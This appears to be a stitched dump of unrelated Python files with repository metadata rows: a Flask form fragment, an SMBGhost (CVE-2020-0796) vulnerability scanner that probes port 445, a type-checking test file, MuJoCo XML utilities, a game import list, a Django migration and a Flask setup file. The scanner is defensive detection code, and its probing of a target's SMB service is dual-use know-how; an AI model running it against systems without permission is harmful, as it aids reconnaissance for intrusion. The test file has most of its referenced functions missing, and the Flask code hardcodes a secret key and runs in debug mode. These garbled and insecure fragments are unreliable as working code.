EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\.[a-zA-Z]+$')
app = Flask(__name__)
app.secret_key = 'irtndvieurnviur'
#check all for empty and password >=8
def checkForValuelength(form):
if ((len(form['email']))< 1 or
(len(form['fname']))< 1 or
(len(form['lname']))< 1 or
(len(form['password']))<=8 or
(len(form['cpassword']))<= 8):
return False
return True
# check for valid name and last name
# invalid EMAIL
app.run(debug=True)
| 28.245614 | 82 | 0.636646 |
369f3934be836b3619a596d326601ac157eae3f4 | 2,344 | py | Python | eternalghost.py | awareseven/eternalghosttest | 989dafac06b72af21e1cd7103c92ec6b399e5133 | [
"MIT"
] | 2 | 2020-03-15T11:39:18.000Z | 2021-12-05T20:38:48.000Z | eternalghost.py | awareseven/eternalghosttest | 989dafac06b72af21e1cd7103c92ec6b399e5133 | [
"MIT"
] | null | null | null | eternalghost.py | awareseven/eternalghosttest | 989dafac06b72af21e1cd7103c92ec6b399e5133 | [
"MIT"
] | 2 | 2020-03-18T20:21:37.000Z | 2020-10-13T09:19:14.000Z | import socket
import struct
import sys
banner = """
_ _ _ _
| | | | | | | |
___| |_ ___ _ __ _ __ __ _| | __ _| |__ ___ ___| |_
/ _ \ __/ _ \ '__| '_ \ / _` | |/ _` | '_ \ / _ \/ __| __|
| __/ || __/ | | | | | (_| | | (_| | | | | (_) \__ \ |_
\___|\__\___|_| |_| |_|\__,_|_|\__, |_| |_|\___/|___/\__|
__/ |
|___/
\t\t\t\t\tby AWARE7 GmbH
"""
print(banner)
if len(sys.argv) < 2:
print("Not enough Arguments")
print("python3 scanner.py <IP-Address>")
sys.exit()
# Connection-Handle for SMB Handshake
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
# Generate a Socket
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
# Get Hostname
hostname = sys.argv[1]
# Connect to Host
print("Scanning System: {}\r\n".format(hostname))
sock.connect(( hostname, 445 ))
# Send Handshake
sock.send(pkt)
# Receive Handshake
nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)
# Check if SMB Version 3_11 is used
if not res[68:70] == b"\x11\x03":
print("\tYour System {} doesn't use the latest SMB Version. This is insecure as well but you are not effected by CVE-2020-0796".format(hostname))
sys.exit(1)
# Check if uses Compression
if not res[70:72] == b"\x02\x00":
print("\tYour System {} is not vulnearble to CVE-2020-0796".format(hostname))
sys.exit(1)
print("\tYour System {} is vulnearble to CVE-2020-0796".format(hostname))
sys.exit(1) | 45.076923 | 761 | 0.593857 |
369f8e2a1f4297f6ea89787a4d4e52bb3722aa03 | 63,998 | py | Python | pedantic/tests/tests_pedantic.py | LostInDarkMath/Pedantic-python-decorators | 32ed54c9593e80f63c0499093cb07847d8a5e1df | [
"Apache-2.0"
] | null | null | null | pedantic/tests/tests_pedantic.py | LostInDarkMath/Pedantic-python-decorators | 32ed54c9593e80f63c0499093cb07847d8a5e1df | [
"Apache-2.0"
] | null | null | null | pedantic/tests/tests_pedantic.py | LostInDarkMath/Pedantic-python-decorators | 32ed54c9593e80f63c0499093cb07847d8a5e1df | [
"Apache-2.0"
] | null | null | null | import os.path
import sys
import types
import typing
import unittest
from datetime import datetime, date
from functools import wraps
from io import BytesIO, StringIO
from typing import List, Tuple, Callable, Any, Optional, Union, Dict, Set, FrozenSet, NewType, TypeVar, Sequence, \
AbstractSet, Iterator, NamedTuple, Collection, Type, Generator, Generic, BinaryIO, TextIO, Iterable, Container, \
NoReturn, ClassVar
from enum import Enum, IntEnum
from pedantic import pedantic_class
from pedantic.exceptions import PedanticTypeCheckException, PedanticException, PedanticCallWithArgsException, \
PedanticTypeVarMismatchException
from pedantic.decorators.fn_deco_pedantic import pedantic
TEST_FILE = 'test.txt'
def test_optional_args_1(self):
calc(a=2)
def test_optional_args_2(self):
calc()
calc(a=1)
calc(b=1)
calc(c=1.0)
calc(a=1, b=1)
calc(a=1, c=1.0)
calc(b=1, c=1.0)
calc(a=1, b=1, c=1.0)
def test_optional_args_3(self):
"""Problem here: optional argument c: 5 is not a float"""
with self.assertRaises(expected_exception=PedanticTypeCheckException):
calc()
def test_optional_args_3_corrected(self):
calc()
def test_optional_args_4(self):
my_class = MyClass()
my_class.foo(a=10)
def test_optional_args_5(self):
calc(d=None)
calc()
calc(d={42: 3})
with self.assertRaises(expected_exception=PedanticTypeCheckException):
calc(d={42: 3.14})
def test_optional_args_6(self):
""""Problem here: str != int"""
calc(d=99999)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
calc(d='999999')
def test_enum_1(self):
"""Problem here: Type hint for 'a' should be MyEnum instead of MyEnum.GAMMA"""
m = MyClass()
with self.assertRaises(expected_exception=PedanticTypeCheckException):
m.operation(a=MyEnum.GAMMA)
def test_enum_1_corrected(self):
operation(a=MyEnum.GAMMA)
def test_sloppy_types_dict(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d={1: 1, 2: 2})
def test_sloppy_types_dict_almost_corrected_no_type_args(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d={1: 1, 2: 2})
def test_sloppy_types_dict_corrected(self):
operation(d={1: 1, 2: 2})
def test_sloppy_types_list(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=[1, 2, 3, 4])
def test_sloppy_types_list_almost_corrected_no_type_args(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=[1, 2, 3, 4])
def test_sloppy_types_list_corrected(self):
operation(d=[1, 2, 3, 4])
def test_sloppy_types_tuple(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=(1, 2, 3))
def test_sloppy_types_tuple_almost_corrected_no_type_args(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=(1, 2, 3))
def test_sloppy_types_tuple_corrected(self):
operation(d=(1, 2, 3))
def test_sloppy_types_set(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d={1, 2, 3})
def test_sloppy_types_set_almost_corrected_to_type_args(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d={1, 2, 3})
def test_sloppy_types_set_corrected(self):
operation(d={1, 2, 3})
def test_sloppy_types_frozenset(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=frozenset({1, 2, 3}))
def test_sloppy_types_frozenset_almost_corrected_no_type_args(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
operation(d=frozenset({1, 2, 3}))
def test_sloppy_types_frozenset_corrected(self):
operation(d=frozenset({1, 2, 3}))
def test_type_list_but_got_tuple(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
calc(ls=(1, 2, 3))
def test_type_list_corrected(self):
calc(ls=(1, 2, 3))
def test_any(self):
calc(ls=[1, 2, 3])
calc(ls=[1.11, 2.0, 3.0])
calc(ls=['1', '2', '3'])
calc(ls=[10.5, '2', (3, 4, 5)])
def test_aliases(self):
Vector = List[float]
scale(scalar=2.0, vector=[1.0, -4.2, 5.4])
def test_new_type(self):
UserId = NewType('UserId', int)
some_id = UserId(524313)
get_user_name(user_id=some_id)
# the following would be desirable but impossible to check at runtime:
# with self.assertRaises(expected_exception=AssertionError):
# get_user_name(user_id=-1)
def test_list_of_new_type(self):
UserId = NewType('UserId', int)
get_user_name(user_ids=[UserId(524313), UserId(42)])
with self.assertRaises(expected_exception=PedanticTypeCheckException):
get_user_name(user_ids=[UserId(524313), UserId(42), 430.0])
def test_callable_no_args(self):
f(g=greetings)
def test_type_var(self):
T = TypeVar('T')
first(ls=[1, 2, 3])
def test_type_var_wrong(self):
T = TypeVar('T')
with self.assertRaises(expected_exception=PedanticTypeVarMismatchException):
first(ls=[1, 2, 3])
def test_type_var_wrong_sequence(self):
T = TypeVar('T')
with self.assertRaises(expected_exception=PedanticTypeVarMismatchException):
first(ls=[1, 2, 3])
def test_double_pedantic(self):
f(x=5, y=3.14)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
f(x=5.0, y=3.14)
with self.assertRaises(expected_exception=PedanticCallWithArgsException):
f(5, 3.14)
def test_args_kwargs(self):
some_method()
with self.assertRaises(expected_exception=PedanticCallWithArgsException):
some_method(3, 3.0)
some_method(a=3, b=3.0)
wrapper_method()
with self.assertRaises(expected_exception=PedanticCallWithArgsException):
wrapper_method(3, 3.0)
wrapper_method(a=3, b=3.0)
def test_args_kwargs_no_type_hint(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
method_no_type_hint(a=3, b=3.0)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
method_no_type_hint()
def test_args_kwargs_wrong_type_hint(self):
"""See: https://www.python.org/dev/peps/pep-0484/#arbitrary-argument-lists-and-default-argument-values"""
wrapper_method()
wrapper_method('hi', 'you', ':)')
wrapper_method(a='hi', b='you', c=':)')
with self.assertRaises(expected_exception=PedanticTypeCheckException):
wrapper_method('hi', 'you', ':)', 7)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
wrapper_method(3, 3.0)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
wrapper_method(a=3, b=3.0)
def test_additional_kwargs(self):
some_method(a=5)
some_method(a=5, b=0.1)
some_method(a=5, b=0.1, c=4)
some_method(a=5, b=0.1, c=4, d=5, e=6)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
some_method(a=5, b=0.1, c=4, d=5.0, e=6)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
some_method(a=5.0, b=0.1, c=4, d=5, e=6)
with self.assertRaises(expected_exception=PedanticTypeCheckException):
some_method(a=5, b=0, c=4, d=5, e=6)
def test_args_kwargs_different_types(self):
foo('a', 'b', 'c')
foo(x=1, y=2)
foo('', z=0)
def test_pedantic_on_class(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
MyClass()
def test_is_subtype_tuple(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
foo()
def test_is_subtype_tuple_corrected(self):
foo()
def test_forward_ref(self):
get_conversations()
def test_alternative_list_type_hint(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
_is_digit_in_int(digit=4, num=42)
def test_callable_with_union_return(self):
get_server_info()
def test_pedantic(self):
self.assertEqual('abc', foo(a=4, b='abc'))
def test_pedantic_always(self):
self.assertEqual('abc', foo(a=4, b='abc'))
def test_pedantic_arguments_fail(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
foo(a=4, b=5)
def test_pedantic_return_type_fail(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
foo(a=4, b='abc')
def test_return_type_none(self):
with self.assertRaises(expected_exception=PedanticTypeCheckException):
foo()
def test_marco(self):
a = A(val=42)
b = B(val=42)
c = C(val=42)
assert a == b # works
assert a == c # works
assert b == c # error
def test_date_datetime(self):
foo(a=datetime(1995, 2, 5), b=date(1987, 8, 7))
foo(a=datetime(1995, 2, 5), b=datetime(1987, 8, 7))
with self.assertRaises(expected_exception=PedanticTypeCheckException):
foo(a=date(1995, 2, 5), b=date(1987, 8, 7))
def test_any_type(self):
foo(a='aa')
def test_callable_exact_arg_count(self):
foo(a=some_callable)
def test_callable_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_callable_too_few_arguments(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=some_callable)
def test_callable_mandatory_kwonlyargs(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=some_callable)
def test_callable_class(self):
"""
Test that passing a class as a callable does not count the "self" argument "a"gainst the
ones declared in the Callable specification.
"""
foo(a=SomeClass)
def test_callable_plain(self):
foo(a=callback)
def test_callable_bound_method(self):
foo(callback=Child().method)
def test_callable_defaults(self):
"""
Test that a callable having "too many" arguments don't raise an error if the extra
arguments have default values.
"""
foo(callback=some_callable)
def test_callable_builtin(self):
foo(callback=[].append)
def test_dict_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_dict_bad_key_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a={1: 2})
def test_dict_bad_value_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a={'x': 'a'})
def test_list_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_list_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=[1, 2, 'bb'])
def test_sequence_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_sequence_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=[1, 2, 'bb'])
def test_abstractset_custom_type(self):
T = TypeVar('T')
foo(a=DummySet[int]())
def test_abstractset_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_set_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_abstractset_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a={1, 2, 'bb'})
def test_set_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a={1, 2, 'bb'})
def test_tuple_bad_type(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=5)
def test_tuple_too_many_elements(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=(1, 'aa', 2))
def test_tuple_too_few_elements(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=(1,))
def test_tuple_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=(1, 2))
def test_tuple_ellipsis_bad_element(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=(1, 2, 'blah'))
def test_namedtuple(self):
Employee = NamedTuple('Employee', [('name', str), ('id', int)])
foo(bar=Employee('bob', 1))
def test_namedtuple_key_mismatch(self):
Employee1 = NamedTuple('Employee', [('name', str), ('id', int)])
Employee2 = NamedTuple('Employee', [('firstname', str), ('id', int)])
with self.assertRaises(PedanticTypeCheckException):
foo(bar=Employee2('bob', 1))
def test_namedtuple_type_mismatch(self):
Employee = NamedTuple('Employee', [('name', str), ('id', int)])
with self.assertRaises(PedanticTypeCheckException):
foo(bar=('bob', 1))
def test_namedtuple_huge_type_mismatch(self):
Employee = NamedTuple('Employee', [('name', str), ('id', int)])
with self.assertRaises(PedanticTypeCheckException):
foo(bar=foo(bar=Employee('bob', 1)))
def test_namedtuple_wrong_field_type(self):
Employee = NamedTuple('Employee', [('name', str), ('id', int)])
with self.assertRaises(PedanticTypeCheckException):
foo(bar=Employee(2, 1))
def test_union(self):
for value in [6, 'xa']:
foo(a=value)
def test_implicit_default_none(self):
"""
Test that if the default value is ``None``, a ``None`` argument can be passed.
"""
foo()
def test_generator_simple(self):
"""Test that argument type checking works in a generator function too."""
gen = generate(a=1)
next(gen)
def test_wrapped_generator_no_return_type_annotation(self):
"""Test that return type checking works in a generator function too."""
gen = generate(a=1)
next(gen)
foo_1(a=some_callable)
with self.assertRaises(PedanticTypeCheckException):
foo_2(a=some_callable)
def test_list(self):
foo_1(a=[1, 2])
with self.assertRaises(PedanticTypeCheckException):
foo_2(a=[1, 2])
with self.assertRaises(PedanticTypeCheckException):
foo_3(a=[1, 2])
def test_dict(self):
foo_1(a={'x': 2})
with self.assertRaises(PedanticTypeCheckException):
foo_3(a={'x': 2})
with self.assertRaises(PedanticTypeCheckException):
foo_3(a={'x': 2})
def test_sequence(self):
for value in [('a', 'b'), ['a', 'b'], 'abc']:
foo(a=value)
def test_set_no_type_args(self):
for value in [set(), {6}]:
with self.assertRaises(PedanticTypeCheckException):
foo_1(a=value)
with self.assertRaises(PedanticTypeCheckException):
foo_2(a=value)
with self.assertRaises(PedanticTypeCheckException):
foo_3(a=value)
def test_tuple(self):
foo_1(a=(1, 2))
foo_2(a=(1, 2))
def test_tuple_no_type_args(self):
with self.assertRaises(PedanticTypeCheckException):
foo_1(a=(1, 2))
with self.assertRaises(PedanticTypeCheckException):
foo_2(a=(1, 2))
def test_empty_tuple(self):
foo(a=())
def test_class(self):
foo_1(a=Child)
foo_2(a=Child)
foo_3(a=Child)
def test_class_no_type_vars(self):
with self.assertRaises(PedanticTypeCheckException):
foo_1(a=Child)
with self.assertRaises(PedanticTypeCheckException):
foo_2(a=Child)
def test_class_not_a_class(self):
with self.assertRaises(PedanticTypeCheckException):
foo(a=1)
def test_complex(self):
foo(a=complex(1, 5))
with self.assertRaises(PedanticTypeCheckException):
foo(a=1.0)
def test_float(self):
foo(a=1.5)
with self.assertRaises(PedanticTypeCheckException):
foo(a=1)
def test_coroutine_correct_return_type(self):
coro = foo()
with self.assertRaises(StopIteration):
coro.send(None)
def test_coroutine_wrong_return_type(self):
coro = foo()
with self.assertRaises(PedanticTypeCheckException):
coro.send(None)
def test_bytearray_bytes(self):
foo(x=bytearray([1]))
def test_class_decorator(self):
with self.assertRaises(PedanticTypeCheckException):
Foo.staticmethod()
with self.assertRaises(PedanticTypeCheckException):
Foo.classmethod()
with self.assertRaises(PedanticTypeCheckException):
Foo().method()
def test_generator(self):
gen = genfunc()
with self.assertRaises(StopIteration):
value = next(gen)
while True:
value = gen.send(str(value))
assert isinstance(value, int)
def test_generator_no_type_args(self):
with self.assertRaises(PedanticTypeCheckException):
genfunc()
def test_iterator(self):
gen = genfunc()
with self.assertRaises(PedanticTypeCheckException):
value = next(gen)
while True:
value = gen.send(str(value))
assert isinstance(value, int)
def test_iterator_no_type_args(self):
with self.assertRaises(PedanticTypeCheckException):
genfunc()
def test_iterable_advanced(self):
gen = genfunc()
with self.assertRaises(PedanticTypeCheckException):
value = next(gen)
while True:
value = gen.send(str(value))
assert isinstance(value, int)
def test_iterable_advanced_no_type_args(self):
with self.assertRaises(PedanticTypeCheckException):
genfunc()
def test_generator_bad_yield(self):
gen = genfunc_1()
with self.assertRaises(PedanticTypeCheckException):
next(gen)
gen = genfunc_2()
with self.assertRaises(PedanticTypeCheckException):
next(gen)
gen = genfunc_3()
with self.assertRaises(PedanticTypeCheckException):
next(gen)
def test_generator_bad_send(self):
gen = genfunc()
next(gen)
with self.assertRaises(PedanticTypeCheckException):
gen.send(2)
def test_generator_bad_return(self):
gen = genfunc()
next(gen)
with self.assertRaises(PedanticTypeCheckException):
gen.send('foo')
def test_return_generator(self):
foo()
def test_local_class(self):
retval = LocalClass().create_inner()
assert isinstance(retval, LocalClass.Inner)
def test_local_class_async(self):
coro = LocalClass().create_inner()
with self.assertRaises(StopIteration):
coro.send(None)
def test_callable_nonmember(self): | 26.833543 | 117 | 0.544439 |
369fa166feeca798a146fe563bb6633de1435b63 | 12,391 | py | Python | robosuite/utils/mjcf_utils.py | kyungjaelee/robosuite | 0d73fcca9ed8e638632f4bd7b0f1b8ebf4640fb1 | [
"MIT"
] | null | null | null | robosuite/utils/mjcf_utils.py | kyungjaelee/robosuite | 0d73fcca9ed8e638632f4bd7b0f1b8ebf4640fb1 | [
"MIT"
] | null | null | null | robosuite/utils/mjcf_utils.py | kyungjaelee/robosuite | 0d73fcca9ed8e638632f4bd7b0f1b8ebf4640fb1 | [
"MIT"
] | 1 | 2021-03-26T19:10:00.000Z | 2021-03-26T19:10:00.000Z | # utility functions for manipulating MJCF XML models
import xml.etree.ElementTree as ET
import os
import numpy as np
from collections.abc import Iterable
from PIL import Image
from pathlib import Path
import robosuite
RED = [1, 0, 0, 1]
GREEN = [0, 1, 0, 1]
BLUE = [0, 0, 1, 1]
TEXTURES = {
"WoodRed": "red-wood.png",
"WoodGreen": "green-wood.png",
"WoodBlue": "blue-wood.png",
"WoodLight": "light-wood.png",
"WoodDark": "dark-wood.png",
"WoodTiles": "wood-tiles.png",
"WoodPanels": "wood-varnished-panels.png",
"WoodgrainGray": "gray-woodgrain.png",
"PlasterCream": "cream-plaster.png",
"PlasterPink": "pink-plaster.png",
"PlasterYellow": "yellow-plaster.png",
"PlasterGray": "gray-plaster.png",
"PlasterWhite": "white-plaster.png",
"BricksWhite": "white-bricks.png",
"Metal": "metal.png",
"SteelBrushed": "steel-brushed.png",
"SteelScratched": "steel-scratched.png",
"Brass": "brass-ambra.png",
"Bread": "bread.png",
"Can": "can.png",
"Ceramic": "ceramic.png",
"Cereal": "cereal.png",
"Clay": "clay.png",
"Dirt": "dirt.png",
"Glass": "glass.png",
"FeltGray": "gray-felt.png",
"Lemon": "lemon.png",
}
ALL_TEXTURES = TEXTURES.keys()
def xml_path_completion(xml_path):
"""
Takes in a local xml path and returns a full path.
if @xml_path is absolute, do nothing
if @xml_path is not absolute, load xml that is shipped by the package
Args:
xml_path (str): local xml path
Returns:
str: Full (absolute) xml path
"""
if xml_path.startswith("/"):
full_path = xml_path
else:
full_path = os.path.join(robosuite.models.assets_root, xml_path)
return full_path
def array_to_string(array):
"""
Converts a numeric array into the string format in mujoco.
Examples:
[0, 1, 2] => "0 1 2"
"""
return " ".join(["{}".format(x) for x in array])
def string_to_array(string):
"""
Converts a array string in mujoco xml to np.array.
Examples:
"0 1 2" => [0, 1, 2]
Args:
string (str): String to convert to an array
Returns:
np.array: Numerical array equivalent of @string
"""
return np.array([float(x) for x in string.split(" ")])
def set_alpha(node, alpha=0.1):
"""
Sets all a(lpha) field of the rgba attribute to be @alpha
for @node and all subnodes
used for managing display
Args:
node (ET.Element): Specific node element within XML tree
alpha (float): Value to set alpha value of rgba tuple
"""
for child_node in node.findall(".//*[@rgba]"):
rgba_orig = string_to_array(child_node.get("rgba"))
child_node.set("rgba", array_to_string(list(rgba_orig[0:3]) + [alpha]))
def new_joint(**kwargs):
"""
Creates a joint tag with attributes specified by @**kwargs.
Args:
**kwargs (dict): Specified attributes for the new joint
Returns:
ET.Element: new joint xml element
"""
element = ET.Element("joint", attrib=kwargs)
return element
def new_actuator(joint, act_type="actuator", **kwargs):
"""
Creates an actuator tag with attributes specified by @**kwargs.
Args:
joint (str): type of actuator transmission.
see all types here: http://mujoco.org/book/modeling.html#actuator
act_type (str): actuator type. Defaults to "actuator"
**kwargs (dict): Any additional specified attributes for the new joint
Returns:
ET.Element: new actuator xml element
"""
element = ET.Element(act_type, attrib=kwargs)
element.set("joint", joint)
return element
def new_site(name, rgba=RED, pos=(0, 0, 0), size=(0.005,), **kwargs):
"""
Creates a site element with attributes specified by @**kwargs.
NOTE: With the exception of @name, @pos, and @size, if any arg is set to
None, the value will automatically be popped before passing the values
to create the appropriate XML
Args:
name (str): site name.
rgba (4-array): (r,g,b,a) color and transparency. Defaults to solid red.
pos (3-array): (x,y,z) 3d position of the site.
size (array of float): site size (sites are spherical by default).
**kwargs (dict): Any additional specified attributes for the new site
Returns:
ET.Element: new site xml element
"""
kwargs["name"] = name
kwargs["pos"] = array_to_string(pos)
kwargs["size"] = array_to_string(size)
kwargs["rgba"] = array_to_string(rgba) if rgba is not None else None
# Loop through all remaining attributes and pop any that are None
for k, v in kwargs.copy().items():
if v is None:
kwargs.pop(k)
element = ET.Element("site", attrib=kwargs)
return element
def new_geom(geom_type, size, pos=(0, 0, 0), rgba=RED, group=0, **kwargs):
"""
Creates a geom element with attributes specified by @**kwargs.
NOTE: With the exception of @geom_type, @size, and @pos, if any arg is set to
None, the value will automatically be popped before passing the values
to create the appropriate XML
Args:
geom_type (str): type of the geom.
see all types here: http://mujoco.org/book/modeling.html#geom
size (array of float): geom size parameters.
pos (3-array): (x,y,z) 3d position of the site.
rgba (4-array): (r,g,b,a) color and transparency. Defaults to solid red.
group (int): the integrer group that the geom belongs to. useful for
separating visual and physical elements.
**kwargs (dict): Any additional specified attributes for the new geom
Returns:
ET.Element: new geom xml element
"""
kwargs["type"] = str(geom_type)
kwargs["size"] = array_to_string(size)
kwargs["pos"] = array_to_string(pos)
kwargs["rgba"] = array_to_string(rgba) if rgba is not None else None
kwargs["group"] = str(group) if group is not None else None
# Loop through all remaining attributes and pop any that are None
for k, v in kwargs.copy().items():
if v is None:
kwargs.pop(k)
element = ET.Element("geom", attrib=kwargs)
return element
def new_body(name=None, pos=None, **kwargs):
"""
Creates a body element with attributes specified by @**kwargs.
Args:
name (str): body name.
pos (3-array): (x,y,z) 3d position of the body frame.
**kwargs (dict): Any additional specified attributes for the new body
Returns:
ET.Element: new body xml element
"""
if name is not None:
kwargs["name"] = name
if pos is not None:
kwargs["pos"] = array_to_string(pos)
element = ET.Element("body", attrib=kwargs)
return element
def new_inertial(name=None, pos=(0, 0, 0), mass=None, **kwargs):
"""
Creates a inertial element with attributes specified by @**kwargs.
Args:
name (str): [NOT USED]
pos (3-array): (x,y,z) 3d position of the inertial frame.
mass (float): The mass of inertial
**kwargs (dict): Any additional specified attributes for the new inertial element
Returns:
ET.Element: new inertial xml element
"""
if mass is not None:
kwargs["mass"] = str(mass)
kwargs["pos"] = array_to_string(pos)
element = ET.Element("inertial", attrib=kwargs)
return element
def postprocess_model_xml(xml_str):
"""
This function postprocesses the model.xml collected from a MuJoCo demonstration
in order to make sure that the STL files can be found.
Args:
xml_str (str): Mujoco sim demonstration XML file as string
Returns:
str: Post-processed xml file as string
"""
path = os.path.split(robosuite.__file__)[0]
path_split = path.split("/")
# replace mesh and texture file paths
tree = ET.fromstring(xml_str)
root = tree
asset = root.find("asset")
meshes = asset.findall("mesh")
textures = asset.findall("texture")
all_elements = meshes + textures
for elem in all_elements:
old_path = elem.get("file")
if old_path is None:
continue
old_path_split = old_path.split("/")
ind = max(
loc for loc, val in enumerate(old_path_split) if val == "robosuite"
) # last occurrence index
new_path_split = path_split + old_path_split[ind + 1 :]
new_path = "/".join(new_path_split)
elem.set("file", new_path)
return ET.tostring(root, encoding="utf8").decode("utf8")
| 33.855191 | 120 | 0.62957 |
36a07f1b483e17aa9a2719b08beb5635ce843a05 | 1,106 | py | Python | cpgames/modules/core/__init__.py | Wasabii88/Games | 33262ca1958207a24e57e3532feded7e275b1dd1 | [
"MIT"
] | 1 | 2022-03-07T11:13:08.000Z | 2022-03-07T11:13:08.000Z | cpgames/modules/core/__init__.py | Wasabii88/Games | 33262ca1958207a24e57e3532feded7e275b1dd1 | [
"MIT"
] | null | null | null | cpgames/modules/core/__init__.py | Wasabii88/Games | 33262ca1958207a24e57e3532feded7e275b1dd1 | [
"MIT"
] | null | null | null | '''initialize'''
from .ski import SkiGame
from .maze import MazeGame
from .gobang import GobangGame
from .tetris import TetrisGame
from .pacman import PacmanGame
from .gemgem import GemGemGame
from .tankwar import TankWarGame
from .sokoban import SokobanGame
from .pingpong import PingpongGame
from .trexrush import TRexRushGame
from .bomberman import BomberManGame
from .whacamole import WhacAMoleGame
from .catchcoins import CatchCoinsGame
from .flappybird import FlappyBirdGame
from .angrybirds import AngryBirdsGame
from .magictower import MagicTowerGame
from .aircraftwar import AircraftWarGame
from .bunnybadger import BunnyBadgerGame
from .minesweeper import MineSweeperGame
from .greedysnake import GreedySnakeGame
from .puzzlepieces import PuzzlePiecesGame
from .towerdefense import TowerDefenseGame
from .alieninvasion import AlienInvasionGame
from .breakoutclone import BreakoutcloneGame
from .twentyfourpoint import TwentyfourPointGame
from .flipcardbymemory import FlipCardByMemoryGame
from .twozerofoureight import TwoZeroFourEightGame
from .voicecontrolpikachu import VoiceControlPikachuGame | 38.137931 | 56 | 0.867993 |
36a1039f62de29095d8932b740524a88b0801df0 | 486 | py | Python | jobs/migrations/0005_job_date.py | AkinWilderman/myPort | 3ddeea04ccffe3ed7b66d6dba2c1f2dc00c9eb6c | [
"Apache-2.0"
] | null | null | null | jobs/migrations/0005_job_date.py | AkinWilderman/myPort | 3ddeea04ccffe3ed7b66d6dba2c1f2dc00c9eb6c | [
"Apache-2.0"
] | null | null | null | jobs/migrations/0005_job_date.py | AkinWilderman/myPort | 3ddeea04ccffe3ed7b66d6dba2c1f2dc00c9eb6c | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.1.7 on 2019-07-06 04:48
from django.db import migrations, models
import django.utils.timezone
| 23.142857 | 95 | 0.625514 |
36a13155d02a4fb82c1083890ce96f64e834d72a | 715 | py | Python | build_an_ai_startup_demo/app/__init__.py | bbueno5000/BuildAnAIStartUpDemo | f70371802a2546530c34b7f04e2b644cd1faec8a | [
"MIT"
] | null | null | null | build_an_ai_startup_demo/app/__init__.py | bbueno5000/BuildAnAIStartUpDemo | f70371802a2546530c34b7f04e2b644cd1faec8a | [
"MIT"
] | null | null | null | build_an_ai_startup_demo/app/__init__.py | bbueno5000/BuildAnAIStartUpDemo | f70371802a2546530c34b7f04e2b644cd1faec8a | [
"MIT"
] | null | null | null | import app
import flask
import flask_debugtoolbar
app = flask.Flask(__name__)
app.config.from_object('app.config')
db = flask.ext.sqlalchemy.SQLAlchemy(app)
mail = flask.ext.mail.Mail(app)
app.config['DEBUG_TB_TEMPLATE_EDITOR_ENABLED'] = True
app.config['DEBUG_TB_PROFILER_ENABLED'] = True
toolbar = flask_debugtoolbar.DebugToolbarExtension(app)
bcrypt = flask.ext.bcrypt.Bcrypt(app)
